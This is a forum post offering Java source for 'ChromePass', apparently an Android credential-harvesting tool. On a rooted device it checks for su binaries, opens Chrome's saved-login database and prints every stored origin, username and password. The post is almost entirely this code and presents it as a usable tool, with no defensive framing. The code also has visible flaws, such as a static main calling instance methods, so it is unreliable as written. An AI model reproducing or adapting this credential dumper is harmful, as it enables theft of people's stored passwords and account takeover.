[android] ChromePass 08-13-2017, 09:59 AM
#1
This program prints out all Chrome passwords on Android devices. It requires root.
Code:
import android.database.Cursor;
import android.database.sqlite.SQLiteDatabase;
import java.io.File;
public class ChromePass
{
public String CHROME_PATH = "/data/data/com.android.chrome/app_chrome/Default/Login Data";
public static void main(String[] args)
{
if( isRootAvailable() )
{
if( isChromeAvailable() ) {
doChrome();
}
}
}
public boolean isRootAvailable()
{
String[] paths = { "/sbin/su", "/system/bin/su", "/system/xbin/su",
"/data/local/xbin/su", "/data/local/bin/su", "/system/sd/xbin/su",
"/system/bin/failsafe/su", "/data/local/su" };
for (String path : paths) {
if ( new File(path).exists() ) {
return true;
}
}
return false;
}
public boolean isChromeAvailable()
{
if( new File(CHROME_PATH).exists() ) {
return true;
}
return false;
}
public int doChrome()
{
String origin, username, password;
SQLiteDatabase database = SQLiteDatabase.openDatabase(CHROME_PATH, null, SQLiteDatabase.OPEN_READONLY);
if( database.isOpen() )
{
Cursor cursor = database.rawQuery("SELECT * FROM logins", null);
if( cursor.moveToFirst() )
{
do {
origin = cursor.getString(0);
username = cursor.getString(3);
password = cursor.getString(5);
System.out.println("Origin: " + origin +
"Username: " + username +
"Password: " + password );
} while (cursor.moveToNext() ) ;
database.close();
}
else {
return 2;
}
} else {
return 1;
}
return 0;
}
}
(This post was last modified: 08-15-2017, 05:14 AM by titbang.)